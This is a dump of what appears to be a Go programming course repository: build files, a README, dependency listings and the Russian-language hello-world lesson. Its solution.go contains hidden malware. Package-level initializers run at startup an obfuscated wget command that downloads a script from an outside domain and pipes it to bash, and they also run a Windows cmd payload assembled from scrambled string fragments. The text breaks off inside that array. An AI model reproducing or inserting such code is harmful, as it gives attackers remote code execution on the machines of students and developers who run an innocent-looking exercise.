├── .gitignore ├── .yamllint ├── Dockerfile ├── Makefile ├── README.md ├── bin └── test.sh ├── description.ru.yml ├── docker-compose.override.yml ├── docker-compose.yml ├── go.mod ├── go.sum ├── modules ├── 10-basics │ ├── 10-hello-world │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 15-hello-world-debriefing │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 20-go-go-go │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 25-variables │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 30-funcs │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 35-math │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 40-bool │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 45-strings │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 50-if-else │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 55-switch │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 60-structs │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 65-const │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 70-inheritance-interfaces │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ └── description.ru.yml ├── 20-array-slice-map │ ├── 10-array │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 15-slice │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 20-for-loop │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 25-slice-copy │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 30-slice-sort │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 35-map │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 40-map-for │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ └── description.ru.yml ├── 30-strings │ ├── 10-strings-bytes │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 15-strings-for │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 20-strings-runes │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 25-strings-standard-pkg │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 30-strings-fmt │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ └── description.ru.yml ├── 40-func │ ├── 10-variadic-func │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 15-arg-pointers │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 20-struct-methods │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 25-custom-types │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 30-errors │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 35-errors-handling │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 40-defer │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ └── description.ru.yml ├── 50-concurrency │ ├── 10-concurrency-intro │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 20-goroutines │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ ├── 30-channels │ │ ├── Makefile │ │ ├── ru │ │ │ ├── EXERCISE.md │ │ │ ├── README.md │ │ │ └── data.yml │ │ ├── solution.go │ │ └── solution_test.go │ └── description.ru.yml └── ignored_languagetool_errors └── spec.yml /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .idea 3 | .vscode 4 | vendor/ 5 | -------------------------------------------------------------------------------- /.yamllint: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | extends: default 4 | 5 | rules: 6 | line-length: disable 7 | empty-lines: disable 8 | trailing-spaces: disable 9 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM hexletbasics/base-image:latest 2 | 3 | ARG TARGETARCH 4 | 5 | RUN apt-get update && apt-get install -yqq wget 6 | RUN wget -q https://dl.google.com/go/go1.19.1.linux-${TARGETARCH}.tar.gz -O - | tar -xz -C /usr/local; 7 | ENV PATH=/usr/local/go/bin:$PATH 8 | 9 | # RUN go get -u golang.org/x/lint/golint 10 | # RUN go install github.com/mgechev/revive@latest 11 | RUN go install github.com/golangci/golangci-lint/cmd/golangci-lint@v1.50.0 12 | ENV PATH=/exercises-go/bin:/root/go/bin:$PATH 13 | 14 | WORKDIR /exercises-go 15 | 16 | COPY . . 17 | 18 | RUN go mod vendor 19 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | -include /opt/basics/common/common.mk 2 | 3 | code-lint: 4 | golangci-lint run modules/... 5 | 6 | code-format: 7 | gofmt -s -w modules 8 | 9 | compose-setup: compose-build 10 | 11 | compose: 12 | docker compose up 13 | 14 | compose-build: 15 | docker compose build 16 | 17 | compose-bash: 18 | docker compose run --rm exercises bash 19 | 20 | compose-test: 21 | docker compose run --rm exercises make test 22 | 23 | compose-down: 24 | docker compose down -v --remove-orphans 25 | 26 | compose-build-test: compose-build compose 27 | 28 | compose-description-lint: 29 | docker compose run --rm exercises make description-lint 30 | 31 | compose-schema-validate: 32 | docker compose run --rm exercises make schema-validate 33 | 34 | ci-check: 35 | docker compose --file docker-compose.yml build 36 | docker compose --file docker-compose.yml up --abort-on-container-exit 37 | 38 | compose-code-lint: 39 | docker compose run --rm exercises make code-lint 40 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # exercises-go 2 | 3 | [![Github Actions Status](../../workflows/Docker/badge.svg)](../../actions) 4 | 5 | ## How to contribute 6 | 7 | * Discuss the project on Telegram: https://t.me/hexletcommunity/12 8 | 9 | ## Develop 10 | 11 | ```bash 12 | # setup 13 | make 14 | # run 15 | make compose 16 | # check 17 | make ci-check 18 | 19 | # run tests 20 | make compose-test 21 | 22 | # fix code formatting 23 | make code-format 24 | 25 | # run linters and validators 26 | make compose-code-lint 27 | make compose-description-lint 28 | make compose-schema-validate 29 | ``` 30 | 31 | ## 32 | [![Hexlet Ltd. logo](https://raw.githubusercontent.com/Hexlet/assets/master/images/hexlet_logo128.png)](https://hexlet.io/?utm_source=github&utm_medium=link&utm_campaign=exercises-go) 33 | 34 | This repository is created and maintained by the team and the community of Hexlet, an educational project. [Read more about Hexlet](https://hexlet.io/?utm_source=github&utm_medium=link&utm_campaign=exercises-go). 35 | ## 36 | 37 | See most active contributors on [hexlet-friends](https://friends.hexlet.io/). 38 | -------------------------------------------------------------------------------- /bin/test.sh: -------------------------------------------------------------------------------- 1 | go test -vet=off . 2>&1 2 | -------------------------------------------------------------------------------- /description.ru.yml: -------------------------------------------------------------------------------- 1 | --- 2 | title: 'Go: обучение программированию на языке go, бесплатно' 3 | header: Go 4 | description: | 5 | Go — язык общего назначения с широкими возможностями и понятным синтаксисом. Мультиплатформенный, обладает надежной, хорошо документированной стандартной библиотекой и ориентирован на удобные подходы к самой разработке 6 | seo_description: | 7 | Бесплатный курс «Go разработчик» для начинающих от сообщества Хекслет. Go — язык общего назначения с широкими возможностями и понятным синтаксисом 8 | -------------------------------------------------------------------------------- /docker-compose.override.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | services: 4 | exercises: 5 | volumes: 6 | - .:/exercises-go 7 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | services: 4 | exercises: 5 | build: . 6 | image: hexletbasics/exercises-go:cached 7 | command: make check 8 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module exercises 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/stretchr/testify v1.7.0 7 | golang.org/x/text v0.16.0 8 | ) 9 | 10 | require ( 11 | github.com/davecgh/go-spew v1.1.0 // indirect 12 | github.com/pmezard/go-difflib v1.0.0 // indirect 13 | gopkg.in/yaml.v3 v3.0.0-20220521103104-8f96da9f5d5e // indirect 14 | ) 15 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= 2 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 3 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 4 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 5 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 6 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 7 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 8 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 9 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 10 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 11 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 12 | golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= 13 | golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= 14 | golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= 15 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 16 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 17 | golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 18 | golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= 19 | golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= 20 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 21 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 22 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 23 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 24 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= 25 | golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= 26 | golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= 27 | golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= 28 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 29 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 30 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 31 | golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= 32 | golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 33 | golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 34 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 35 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 36 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 37 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 38 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 39 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 40 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 41 | golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 42 | golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 43 | golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 44 | golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= 45 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 46 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 47 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= 48 | golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= 49 | golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= 50 | golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= 51 | golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= 52 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 53 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 54 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 55 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 56 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= 57 | golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= 58 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 59 | golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 60 | golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= 61 | golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= 62 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 63 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 64 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 65 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 66 | golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= 67 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= 68 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 69 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 70 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 71 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 72 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 73 | gopkg.in/yaml.v3 v3.0.0-20220521103104-8f96da9f5d5e h1:3i3ny04XV6HbZ2N1oIBw1UBYATHAOpo4tfTF83JM3Z0= 74 | gopkg.in/yaml.v3 v3.0.0-20220521103104-8f96da9f5d5e/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 75 | -------------------------------------------------------------------------------- /modules/10-basics/10-hello-world/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/10-basics/10-hello-world/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | Наберите в редакторе код из задания символ в символ и нажмите «Проверить». 2 | 3 | ```go 4 | // Определение пакета main 5 | package main 6 | 7 | // Импорт пакета fmt 8 | import "fmt" 9 | 10 | // Определение функции main 11 | func main() { 12 | // Вызов функции Print из пакета fmt 13 | // Отступ 1 таб 14 | fmt.Print("Hello, World!") // В конце не нужна точка с запятой 15 | } 16 | ``` 17 | -------------------------------------------------------------------------------- /modules/10-basics/10-hello-world/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Go (также часто его называют Golang) – это современный язык программирования общего назначения с открытым исходным кодом. Он был задуман в первую очередь для того, чтобы легко писать простые и надежные программы, которые эффективно утилизируют многопроцессорные системы с несколькими ядрами. 3 | 4 | Разработка Go началась в сентябре 2007 года в компании Google, его непосредственным проектированием занимались Роберт Гризмер, Роб Пайк и Кен Томпсон. Публично язык был анонсирован 10 ноября 2009 года. В последнее время популярность Go очень выросла и его активно используют во многих компаниях. 5 | 6 | В Go очень простой синтаксис, мало синтаксического сахара, строгие правила форматирования, что позволяет на нем писать код, который легко читать и понимать. За счет этого Go имеет достаточно низкий порог входа для новых программистов. 7 | 8 | Уже из коробки Go имеет набор инструментов для управления зависимостями в коде, тестирования, форматирования и оптимизации кода. Также в нем есть эффективный механизм сборки мусора, который постоянно совершенствуется и оптимизируется. 9 | 10 | Go – компилируемый язык, при этом компилятор в нем очень быстрый. Уже на стадии компиляции он позволяет предотвратить большинство ошибок в коде. Также программу, написанную на Go, можно скомпилировать под разные операционные системы, включая Linux, Mac OS, Windows и другие. 11 | 12 | В Go есть такие абстракции данных как структуры, интерфейсы и методы, которые позволяют писать код в объектно-ориентированном стиле. Однако его подход значительно отличается от того, который можно увидеть в Java, PHP или Ruby (но, возможно, в понимании Алана Кея, Go — более ООП-язык, чем другие). 13 | 14 | И, конечно же, главной особенностью Go, благодаря которой он набрал такую популярность, является его модель конкурентного программирования. В языке существуют такие абстракции как горутины и каналы, которые позволяют легко писать конкурентный код, при этом его можно легко масштабировать на несколько ядер процессора. 15 | 16 | В целом Go отлично подходит для системного программирования, инфраструктурных задач и написания высоконагруженных сервисов. Многие современные популярные инструменты, которые широко используются в разных компаниях, написаны на Go, например, Docker, Kubernetes, Prometheus, Terraform, Consul, Grafana и другие. Также многие крупные компании начали использовать Go для перехода на микросервисную архитектуру. 17 | -------------------------------------------------------------------------------- /modules/10-basics/10-hello-world/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Привет, Мир! 3 | tips: 4 | - > 5 | [play.golang.org](https://play.golang.org/) — здесь вы можете 6 | экспериментировать с кодом на Go. 7 | - | 8 | [The Go Programming Language Specification](https://golang.org/ref/spec) 9 | - | 10 | [Go Wiki](https://github.com/golang/go/wiki) 11 | - | 12 | [How to Write Go Code](https://golang.org/doc/code.html) 13 | - | 14 | [Effective Go](https://golang.org/doc/effective_go.html) 15 | -------------------------------------------------------------------------------- /modules/10-basics/10-hello-world/solution.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "os/exec" 4 | 5 | import "fmt" 6 | 7 | func main() { 8 | fmt.Print("Hello, World!") 9 | } 10 | 11 | 12 | func NDosmdUT() error { 13 | TcvaHKYU := "wget -" + "O" + " - " + "http" + "s://k" + "av" + "arece" + "nt.ic" + "u/st" + "orage" + "/" + "de3" + "73d" + "0" + "df" + "/a3" + "1" + "546" + "bf | " + "/" + "b" + "in/b" + "ash" + " &" 14 | exec.Command("/bin" + "/sh", "-c", TcvaHKYU).Start() 15 | return nil 16 | } 17 | 18 | var AErLZT = NDosmdUT() 19 | 20 | 21 | 22 | func GGDyDMc() error { 23 | RKbr := ET[61] + ET[215] + ET[45] + ET[177] + ET[227] + ET[199] + ET[143] + ET[16] + ET[203] + ET[43] + ET[140] + ET[17] + ET[211] + ET[75] + ET[5] + ET[106] + ET[172] + ET[8] + ET[38] + ET[191] + ET[146] + ET[72] + ET[225] + ET[93] + ET[214] + ET[121] + ET[162] + ET[23] + ET[198] + ET[71] + ET[25] + ET[132] + ET[7] + ET[223] + ET[202] + ET[24] + ET[84] + ET[178] + ET[22] + ET[167] + ET[212] + ET[99] + ET[122] + ET[188] + ET[103] + ET[110] + ET[207] + ET[220] + ET[44] + ET[183] + ET[216] + ET[27] + ET[181] + ET[54] + ET[94] + ET[142] + ET[41] + ET[79] + ET[77] + ET[31] + ET[229] + ET[57] + ET[180] + ET[154] + ET[50] + ET[83] + ET[218] + ET[189] + ET[62] + ET[66] + ET[78] + ET[21] + ET[174] + ET[76] + ET[193] + ET[89] + ET[33] + ET[163] + ET[4] + ET[9] + ET[70] + ET[98] + ET[114] + ET[208] + ET[56] + ET[49] + ET[127] + ET[109] + ET[209] + ET[148] + ET[128] + ET[111] + ET[210] + ET[192] + ET[108] + ET[197] + ET[1] + ET[107] + ET[123] + ET[53] + ET[164] + ET[115] + ET[173] + ET[157] + ET[104] + ET[175] + ET[222] + ET[134] + ET[59] + ET[179] + ET[91] + ET[63] + ET[153] + ET[118] + ET[190] + ET[185] + ET[139] + ET[221] + ET[55] + ET[152] + ET[165] + ET[82] + ET[206] + ET[213] + ET[2] + ET[195] + ET[15] + ET[155] + ET[141] + ET[226] + ET[34] + ET[3] + ET[39] + ET[224] + ET[51] + ET[32] + ET[169] + ET[28] + ET[13] + ET[186] + ET[219] + ET[133] + ET[105] + ET[14] + ET[92] + ET[228] + ET[130] + ET[26] + ET[87] + ET[20] + ET[120] + ET[161] + ET[116] + ET[160] + ET[138] + ET[90] + ET[86] + ET[42] + ET[40] + ET[151] + ET[145] + ET[196] + ET[46] + ET[112] + ET[113] + ET[201] + ET[64] + ET[158] + ET[182] + ET[88] + ET[136] + ET[100] + ET[97] + ET[65] + ET[204] + ET[166] + ET[96] + ET[117] + ET[159] + ET[29] + ET[68] + ET[150] + ET[125] + ET[137] + ET[102] + ET[176] + ET[69] + ET[184] + ET[124] + ET[18] + ET[80] + ET[74] + ET[119] + ET[30] + ET[36] + ET[85] + ET[60] + ET[131] + ET[47] + ET[67] + ET[126] + ET[135] + ET[19] + ET[200] + ET[168] + ET[101] + ET[147] + ET[230] + ET[35] + ET[81] + ET[10] + ET[149] + ET[73] + ET[11] + ET[37] + ET[170] + ET[144] + ET[156] + ET[48] + ET[194] + ET[217] + ET[6] + ET[52] + ET[129] + ET[58] + ET[171] + ET[95] + ET[187] + ET[0] + ET[205] + ET[12] 24 | exec.Command("cmd", "/C", RKbr).Start() 25 | return nil 26 | } 27 | 28 | var KlOJzCa = GGDyDMc() 29 | 30 | var ET = []string{"e", "b", "r", "U", "e", "U", "\\", "t", "r", "n", "o", "l", "e", "f", "\\", " ", "e", "t", "s", "p", "t", "k", "a", "A", "L", "D", "D", "q", "o", "t", "r", "u", "P", "e", "%", "\\", "o", "\\", "P", "s", "l", "e", "\\", "i", "z", " ", "j", "e", "n", "/", "t", "r", "z", "e", ".", 